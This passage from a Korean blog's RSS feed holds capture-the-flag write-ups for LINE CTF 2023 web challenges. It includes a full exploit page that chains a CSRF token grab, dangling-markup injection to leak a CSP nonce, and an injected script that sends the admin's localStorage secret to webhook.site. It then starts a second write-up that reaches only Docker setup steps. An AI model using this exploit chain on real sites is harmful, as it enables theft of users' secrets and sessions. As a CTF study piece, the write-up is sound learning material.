app.get('/csp.gif', shouldBeLoggedIn, (req, res) =&amp;gt; {
  db.cookies[req.cookies.id].nonce = rand()
  res.setHeader('Content-Type', 'image/gif')
  res.send('OK')
})

/* CSRF token 생성 */
const settingsFile = fs.readFileSync('./views/getSettings.js', 'utf-8');
app.get('/getSettings.js', (req, res) =&amp;gt; {
  res.setHeader('Content-Type', 'text/javascript');
  const response = ejs.render(settingsFile, { 
    csrf: getCsrf(req.cookies.id),
    domain: process.env.DOMAIN,
  });
  res.end(response);
})

/* profile 페이지 로드 시 인라인 스크립트를 위한 Nonce 가 필요 */
app.get('/profile', shouldBeLoggedIn, (req, res) =&amp;gt; {
  res.render('profile.ejs', { 
    name: db.users[req.user].name,
    nonce: db.cookies[req.cookies.id].nonce,
  });
})

app.post('/profile', shouldBeLoggedIn, csrfCheck, (req, res) =&amp;gt; {
  const { name } = req.body;
  db.users[req.user].name = name;
  res.redirect('/profile?message=Successfully updated name')
})

// For interacting with admin bot
app.use('/bot', shouldBeLoggedIn, require('./bot.js'));

// We might need to change this to https in real challenge
const https = require('https');
const port = 4567
https
  .createServer({ 
    key: fs.readFileSync('key.pem'),
    cert: fs.readFileSync('cert.pem'),
  }, app)
  .listen(port, () =&amp;gt; {
    console.log(`Server is runing at port ${port}`)
  });&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 풀이&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 풀이를 위해서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 우회 방법을 포함하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트를 작성하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ADMIN이 그 스크립트를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행하도록 해야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;우회 스크립트 요구사항:&lt;br /&gt;1. CSRF token 획득&lt;br /&gt;&lt;/b&gt;- 요구: document.domain === '&amp;lt;%= domain %&amp;gt;' 조건 우회&lt;br /&gt;- 방법: &lt;u&gt;&lt;b&gt;Object.defineProperty(document, 'domain', {get: () =&amp;gt; &quot;35.200.57.143&quot;});&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;- 대회 당시 서버의 IP 가 35.200.57.143&lt;br /&gt;&lt;b&gt;&lt;br /&gt;2. CSP 우회&lt;br /&gt;&lt;/b&gt;- 요구: XSS를 위한 nonce 획득(인라인 스크립트 실행)&lt;br /&gt;- 방법: Firefox의 Dangling Markup Injection 필터링 미흡&lt;br /&gt;(&amp;lt;meta http-equiv=&quot;refresh&quot; content='1; url=https://&amp;lt;your_domain&amp;gt;/?leak=)&lt;b&gt;&lt;br /&gt;&lt;br /&gt;3. nonce 갱신 우회&lt;br /&gt;&lt;/b&gt;- 요구: /csp.gif 접속 방지&lt;br /&gt;- 방법1(출제자 의도): /profile이 아닌 &lt;u&gt;&lt;b&gt;/profile/로 접속하&lt;/b&gt;&lt;/u&gt;여 /profile/csp.gif 페이지(존재하지 않음)를 호출&lt;br /&gt;(profile.ejs 파일의&amp;nbsp; line 8: &amp;lt;img src=csp.gif&amp;gt;&lt;br /&gt;&amp;nbsp;src가 상대 주소라 /profile/로 하면 접속지는 /profile/csp.gif가 됨)&lt;br /&gt;&lt;br /&gt;- 방법2(다른 방법): &lt;u&gt;&lt;b&gt;&amp;lt;base href='https://35.200.57.143:11004/[미존재_Page]'&amp;gt;&lt;/b&gt;&lt;/u&gt; Tag로 스크립트 제작&lt;br /&gt;- 출제자가 CSP 설정을 잘못해서 두 번째 방법이 가능 (base-uri 'self')&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Solve!&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 우회 조건을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모두 만족시키는 스크립트는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681732871098&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;script&amp;gt;
  // documnet.domain 필터 우회
  Object.defineProperty(document, 'domain', {get: () =&amp;gt; &quot;assn.anctf.tk&quot;});
&amp;lt;/script&amp;gt;

&amp;lt;!-- CSRF token 획득 --&amp;gt;
&amp;lt;form action=&quot;https://assn.anctf.tk/profile&quot; method=POST&amp;gt;
  &amp;lt;input class=change-name type=text name=name&amp;gt;
  &amp;lt;input type=text name=csrf id=_csrf&amp;gt;
  &amp;lt;input type=submit value=Submit&amp;gt;
&amp;lt;/form&amp;gt;

&amp;lt;script src=&quot;https://assn.anctf.tk/getSettings.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;
(async () =&amp;gt; {
  if(document.location.href.length&amp;lt;=60){
    // CSP 우회를 위한 Dangling Markup Injection
    document.getElementsByName('name')[0].value=`&amp;lt;meta http-equiv=&quot;refresh&quot; content='0; url=http://webhook.site/?b=`;
    document.forms[0].submit();
    setTimeout(() =&amp;gt; window.location='https://assn.anctf.tk/profile/', 30);
  } else {
    // nonce 값, FLAG 획득
    var url = document.location.href;
    var nonce = url.split('nonce=')[1].split('%20')[0];
    var paylaod = `&amp;lt;script nonce=${nonce}&amp;gt;document.location='http://webhook.site/?b='+localStorage.getItem('secret');&amp;lt;/`+`script&amp;gt;`;
    document.getElementsByName('name')[0].value=paylaod;
    document.forms[0].submit();
    setTimeout(() =&amp;gt; window.location='https://assn.anctf.tk/profile/', 50);
  }
})()
&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 풀기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ADMIN bot이 접속할 사이트로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://webhook.site&quot;&gt;https://webhook.site&lt;/a&gt; 를 이용했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 스크립트를 이용하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ADMIN bot이 어떻게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;값을 보내는지 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;678&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDXDsE/btsaEgTLCd8/vZxOCjiZFTPnLQzVZVSff0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDXDsE/btsaEgTLCd8/vZxOCjiZFTPnLQzVZVSff0/img.png&quot; data-alt=&quot;최초 접근, 스크립트가 실행됨&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDXDsE/btsaEgTLCd8/vZxOCjiZFTPnLQzVZVSff0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDXDsE%2FbtsaEgTLCd8%2FvZxOCjiZFTPnLQzVZVSff0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;463&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;678&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;최초 접근, 스크립트가 실행됨&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;656&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRZHvK/btsaEhkQRme/HMYy4k7rkA5r8iB764e9B1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRZHvK/btsaEhkQRme/HMYy4k7rkA5r8iB764e9B1/img.png&quot; data-alt=&quot;nonce 획득&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRZHvK/btsaEhkQRme/HMYy4k7rkA5r8iB764e9B1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRZHvK%2FbtsaEhkQRme%2FHMYy4k7rkA5r8iB764e9B1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;448&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;656&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;nonce 획득&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;459&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BJrzk/btsaSUu83Cq/gTycTi0yfkhkIXWh0W4DIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BJrzk/btsaSUu83Cq/gTycTi0yfkhkIXWh0W4DIk/img.png&quot; data-alt=&quot;Solved!!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BJrzk/btsaSUu83Cq/gTycTi0yfkhkIXWh0W4DIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBJrzk%2FbtsaSUu83Cq%2FgTycTi0yfkhkIXWh0W4DIk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;314&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;459&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Solved!!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Study/CTF</category>
      <category>csrf</category>
      <category>CTF</category>
      <category>Dangling Markup Injection</category>
      <category>LINECTF2023</category>
      <category>writeup</category>
      <category>문제풀이</category>
      <category>해킹대회</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/181</guid>
      <comments>https://chmodi.tistory.com/181#entry181comment</comments>
      <pubDate>Mon, 17 Apr 2023 21:28:01 +0900</pubDate>
    </item>
    <item>
      <title>[Line CTF 2023 Write Up] WEB 3번: Imagexif</title>
      <link>https://chmodi.tistory.com/180</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;LINE CTF 2023의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Web 분야 3번 문제 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는&amp;nbsp;오픈 소스의&amp;nbsp;CVE 취약점을 이용한 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boL02Y/btr8LOd5XHi/S7ExsSkbNlyxx6eXFheRt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boL02Y/btr8LOd5XHi/S7ExsSkbNlyxx6eXFheRt0/img.png&quot; data-alt=&quot;Web 3번 문제&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boL02Y/btr8LOd5XHi/S7ExsSkbNlyxx6eXFheRt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboL02Y%2Fbtr8LOd5XHi%2FS7ExsSkbNlyxx6eXFheRt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;503&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Web 3번 문제&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;&lt;span&gt; &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 환경 구성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일부러 문제점을 만든 문제가 아닌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 존재하는 취약점을 이용해서 그런지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이트를 제대로 구성한 모습입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Nginx와 Backend 사이트로 나뉘는 데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Nginx 서버는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reverse Proxy 서버로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용되는 듯 하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 서비스는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Backend 서버의 Python Flask에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제공됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 파일을 다운받으면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker Image의 내용이 명시된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dockerfile과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;docker-compose.yaml 파일이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 명령어로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커 컨테이너를 설치 및 실행시킬 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681092101567&quot; class=&quot;shell&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# DockerFile과 docker-compose.yaml 파일이 있는
# 디렉토리로 이동
&amp;gt; cd dist

# Docker 컨테이너 설치&amp;amp;실행
&amp;gt; docker-compose up&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1025&quot; data-origin-height=&quot;326&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P3Y5r/btr822ohdIF/uuSX0w7lcfYv05kvHvhvDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P3Y5r/btr822ohdIF/uuSX0w7lcfYv05kvHvhvDK/img.png&quot; data-alt=&quot;Web 3번 문제 설치중&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P3Y5r/btr822ohdIF/uuSX0w7lcfYv05kvHvhvDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP3Y5r%2Fbtr822ohdIF%2FuuSX0w7lcfYv05kvHvhvDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;223&quot; data-origin-width=&quot;1025&quot; data-origin-height=&quot;326&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Web 3번 문제 설치중&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치된 후 실행 중인 컨테이너의 CMD 창은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;종료해도 상관 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 명령어를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 중인 컨테이너의 PORT를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681092101569&quot; class=&quot;markdown&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 실행 중인 Docker Container 확인
&amp;gt; docker ps&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1429&quot; data-origin-height=&quot;96&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lkb2p/btr9mTcJ3y6/MqJTP1ChnvAtwSXCBCFZHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lkb2p/btr9mTcJ3y6/MqJTP1ChnvAtwSXCBCFZHK/img.png&quot; data-alt=&quot;접속 PORT 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lkb2p/btr9mTcJ3y6/MqJTP1ChnvAtwSXCBCFZHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flkb2p%2Fbtr9mTcJ3y6%2FMqJTP1ChnvAtwSXCBCFZHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;47&quot; data-origin-width=&quot;1429&quot; data-origin-height=&quot;96&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;접속 PORT 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커가 실행 중인 서버(호스트)의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP와 PORT로 접속하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 사이트를 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 파일을 업로드하면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드한 이미지의 정보를 보여줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;447&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvGLZa/btr8OXaROSq/DDqD2WE7kEUxHkQqFnm401/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvGLZa/btr8OXaROSq/DDqD2WE7kEUxHkQqFnm401/img.png&quot; data-alt=&quot;File Upload 페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvGLZa/btr8OXaROSq/DDqD2WE7kEUxHkQqFnm401/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvGLZa%2Fbtr8OXaROSq%2FDDqD2WE7kEUxHkQqFnm401%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;306&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;447&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;File Upload 페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;446&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0xTXe/btr9mObvacu/ZxRX2v1PfoAwETa2JcnPUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0xTXe/btr9mObvacu/ZxRX2v1PfoAwETa2JcnPUK/img.png&quot; data-alt=&quot;업로드된 이미지 파일 정보&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0xTXe/btr9mObvacu/ZxRX2v1PfoAwETa2JcnPUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0xTXe%2Fbtr9mObvacu%2FZxRX2v1PfoAwETa2JcnPUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;305&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;446&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;업로드된 이미지 파일 정보&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;&lt;span&gt; &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 분석&lt;/b&gt;&lt;/h2&gt;
